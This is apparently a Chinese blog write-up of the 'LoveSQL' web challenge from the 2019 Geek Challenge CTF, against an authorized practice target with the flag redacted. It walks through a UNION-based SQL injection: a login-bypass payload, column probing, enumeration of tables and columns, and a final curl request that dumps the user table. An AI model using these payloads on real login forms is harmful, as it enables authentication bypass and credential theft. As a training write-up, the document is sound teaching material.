极客大挑战 2019 - Web - LoveSQL

AI-摘要
Microsoft Xiaoice's GPT
AI初始化中...
介绍自己 🙈
生成本文简介 👋
推荐相关文章 📖
前往主页 🏠
前往爱发电购买
极客大挑战 2019 - Web - LoveSQL
Hunter题目信息
| 项 | 内容 |
|---|---|
| 比赛 | 极客大挑战 2019 |
| 方向 | Web |
| 难度 | Easy |
| 环境 | 授权靶场(已脱敏) |
信息收集
首页表单:
1 | <form action="check.php" method="GET"> |
参数 username、password。登录成功后页面回显用户名(Hello X)和密码(Your password is 'X'),这两处可作为 UNION 注入的回显位。
练习场 ID、题目 ID、friendly_id 与提交记录 ID 等标识已脱敏。
漏洞分析
类型:SQL 注入(UNION 联合查询注入)。
原理:登录接口 check.php 通过 GET 参数 username、password 拼接 SQL 查询,未做过滤。登录成功后页面回显用户名和密码,可用 UNION 注入将查询结果回显到这两处。
利用过程
- 定位注入点:首页表单
<form action="check.php" method="GET">,参数username、password。 - 万能密码测试:
password=' or 1=1#登录成功,回显Hello admin、密码29e39d8e4b16100b1244c958397aa473(非 flag)。 - 确定列数与回显位置:
' union select 1,2,3#确定查询为 3 列,第 2 列回显在Hello X,第 3 列回显在Your password is 'X'。 - 查库名:
' union select 1,database(),3#→geek。 - 查表名:
information_schema.tables→geekuser、l0ve1ysq1。 - 查列名:
l0ve1ysq1表列id,username,password。 - 读 flag:
select group_concat(id,0x7c,username,0x7c,password) from geek.l0ve1ysq1,第 16 行:
1 | 16|flag|flag{xxxx} |
完整 EXP
payload 归档内容并入本节。最终 payload(URL 编码前):
1 | GET /check.php?username=1&password=' union select 1,(select group_concat(id,0x7c,username,0x7c,password) from geek.l0ve1ysq1),3# |
curl 命令(URL 编码后):
1 | curl "http://target:8080/check.php?username=1&password=%27%20union%20select%201%2C(select%20group_concat(id%2C0x7c%2Cusername%2C0x7c%2Cpassword)%20from%20geek.l0ve1ysq1)%2C3%23" |
关键步骤:
- 万能密码:
password=' or 1=1# - 列数探测:
' union select 1,2,3#(3 列,第 2 列回显 Hello,第 3 列回显 password) - 库名:
' union select 1,database(),3#→geek - 表名:
geekuser、l0ve1ysq1 - flag 在
l0ve1ysq1表第 16 行 password 列
Flag
1 | flag{xxxx} |
提交记录:结果 accepted,+1 分(真实 flag 与提交 ID 已脱敏)。
踩坑与总结
- 万能密码登录回显的密码是普通数据而非 flag,需要继续 UNION 注入取数据。
- 先确认列数(3 列)与两个回显位(第 2、3 列),再逐步查库、查表、查列。
- 用
group_concat把多列聚合成一行,配合0x7c(竖线)分隔便于阅读。 - 注意 GET 传参需对引号、空格、
#、逗号做 URL 编码。 - 平台提交 accepted、+1 分,二次复现稳定。
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果








